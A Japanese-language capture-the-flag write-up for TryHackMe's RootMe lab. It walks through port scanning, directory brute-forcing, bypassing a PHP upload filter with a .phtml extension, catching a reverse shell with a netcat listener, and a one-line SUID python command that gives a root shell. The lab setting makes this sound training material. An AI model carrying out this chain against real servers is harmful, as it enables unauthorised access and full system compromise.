概要
TryHackMeのRootMeのWriteupを書いていきます。
多分THMの中で一番これが簡単なんじゃないかな?
Deploy the machine
Start Machineというボタンを押せばいいだけなんだけど、OpenVPNもつなげって言われる。
このスクリプトはTryHackMe公式のトラブルシュートスクリプトなのでこれを利用していつもつないでる。
初期設定されていたEU-Regular3というロケーションのopenvpnの設定を使うと証明書が壊れてるっぽいため、IN-Regular-1を利用している
Scan the machine, how many ports are open?
nmap -sV -A xxx.xxx.xxx.xxx
でおしまい。答えは2
What version of Apache is running?
上記コマンドを実行すると、apacheのバージョンまで確認できるため、それを入力
What service is running on port 22?
これもnmnapを動かした際に確認できている。ssh
Find directories on the web server using the GoBuster tool.
gobuster dir -u http://xxx.xxx.xxx.xxx -w directory-list-2.3-medium.txt
このdirectory-list-2.3-medium.txtはここから取得可能。ここは公式ではない気がする
そうすると/panel
というパスが見つかるので、アクセスするとアップローダーの画面が表示される。
Getting a shell
上記アップロード画面からシェルを取得しろとのこと、Hintには
Search for "file upload bypass" and "PHP reverse shell".
とのこと
find upload bypass
このアップローダーは拡張子が.phpだとアップロードを拒否する。
そのため拡張子を.phtmlとか.phpsとかにするとそのバリデーションを回避することができる。
攻撃対象のapacheだとphtmlは実行可能になってそうなのでphtmlの拡張子に変更してアップロードする。
問題は何のスクリプトを実行するかだ。
PHP reverse shell
これを実行するっぽい
クライアント側で
nc -v -n -l -p 1234
を実行した後
php-reverse-shell.phtmlをアップロードしてアクセスすると
listening on [any] 1234 ...
connect to [10.17.111.155] from (UNKNOWN) [10.10.72.233] 49542
Linux rootme 4.15.0-112-generic #113-Ubuntu SMP Thu Jul 9 23:41:39 UTC 2020 x86_64 x86_64 x86_64 GNU/Linux
13:15:04 up 1:31, 0 users, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
このようにshellが降ってきます。
あとは、
find / -name user.txt
/var/www/user.txt
で見つかる
Search for files with SUID permission, which file is weird?
あとはどうやってroot権限に昇格するかだが、
Hintを押すと
find / -user root -perm /4000
と表示される
SUIDで怪しい強い権限を持って悪用できそうなファイルはないかというと
-rwsr-sr-x 1 root root 3665768 Aug 4 2020 /usr/bin/python
pythonが強そうな権限を持っているため
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
でroot権限のシェルを取得する
SUIDとは
SUIDとは実行する際の実行権限を実行するユーザーではなくファイルの所有者権限で実行する権限を持てる仕組みである。上記の設定の場合pythonをroot権限で実行できてしまう。
これでroot権限を取得した後、
find / -name root.txt
でroot.txtを探す。
Hint
ここでもHintが表示されており
Search for gtfobins
と表示される。
このgtfobinsとは何かだが
間違った設定とその実行ファイルなどの組み合わせでどのような権限昇格方法などのやり方があるかがまとめられているサイトであった。
コワイ